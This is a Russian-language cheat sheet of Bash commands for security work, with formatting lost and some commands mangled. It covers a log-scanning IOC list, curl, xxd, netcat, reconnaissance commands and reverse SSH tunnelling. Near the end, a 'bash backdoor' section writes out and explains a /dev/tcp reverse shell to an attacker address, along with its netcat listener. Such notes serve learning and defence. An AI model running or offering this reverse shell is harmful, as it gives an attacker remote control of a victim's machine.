cat > ioc.txt << "EOF" \.\./ etc/passwd etc/shadow cmd\.exe /bin/sh /bin/bash EOF ../ -злоумышленник пытается выйти из текущего каталога рабочего каталога /etc/passwd и другие - пытается получить доступ к паролям системы /sh и другое - пытается вызвать программу tail -f /var/log/apache2/access.log | egrep -i -f ioc.txt tail -f /va/log/apache2/access.log | egrep --line-buffered -i -f ioc.txt | tee -a interesting.txtСканер портов:
cat > scan.sh << "EOF" #!/bin/bash - # Описание: # Сканирование порта указанного хоста # Использование: # ./scan.shСравнение файлов:
sdiff - сравнивает два файла -a - рассматривать все файлы как текстовые -i - игнорировать регистр -s - удалять общие строки для двух файлов -w - определить максимальное кол-во символов для вывода в троке sdiff -s file1.txt file2.txtcurl:
curl -A - для отправки на сервер указать строку агента пользователя HTTP -d - данные для отправки с запросом HTTP POST -G - использовать для отправки данных запрос HTTP GET, а не POST -I - получить только заголовок протокола (HTTP, FTP) -L - следовать за пере направлениями -s - не показывать индикатор выполнения или сообщения об ошибках curl https://google.com Проверка сокращенной ссылки: curl -ILs http://bitly.com/1k5eYPw | grep '^Location:'xxd :
xdd - выводит на экран в двоичном или шестнадцатеричном формате -b - отобразить файл с использованием двоичного, а не шестнадцатеричного формата -l - вывести кол-во байт двоичного или шестнадцатеричного файла -s - начать печать с позиции байта n xdd -s 35 -l 50 somefile.txtРазведка:
Просмотр вебсервера: ftp -n - запретить авто вход на сервер ftp -n 192.168.0.15 ftp 192.168.0.15 ftp 192.168.0.15 60 Просмотр веб сайта: curl -L -o output.html https://www.oreilly.com curl -LI https://www.oreilly.com curl -LIs https://www.oreilly.com | grep '200 OK' Копирование сайта себе: wget -p -m -k -P ./mirror https://digadel.com Самый простой способ перехватить баннер с SMTP сервера: telnet 192.168.0.15 25nc :
nc -l - прослушивать входящие подключения -n - запретить выполнение поиска dns -p - задать исходный порт для подключения и прослушивания -v - установить подробный режим Подключение: nc www.oreilly.com 80 Прослушивания: nc -l -v -n -p 8080Обратный SSH :
ssh -R 12345:localhost:22 user@remoteip ssh localhost -p 12345Бэкдор баш:
/bin/bash -i < /dev/tcp/192.168.0.15/8080 1>&0 2>&0 Здесь: /bin/bash -i - интерактивный режим баша < /dev/tcp/192.168.0.15/8080 - Это создает TCP-соединение с системой злоумышленника по адресу 192.168.0.15, порт 8080 и перенаправляет его в качестве ввода в новой экземпляр баш. 1>&0 2>&0 - здесь происходит перенаправление стандартного вывода (stdout)(файловый дескриптор 1) и стандартного потока ввода (stdin)(дескриптор файла 0) В системе злоумышленника должен слушаться порт 8080 nc -l -v -p 8080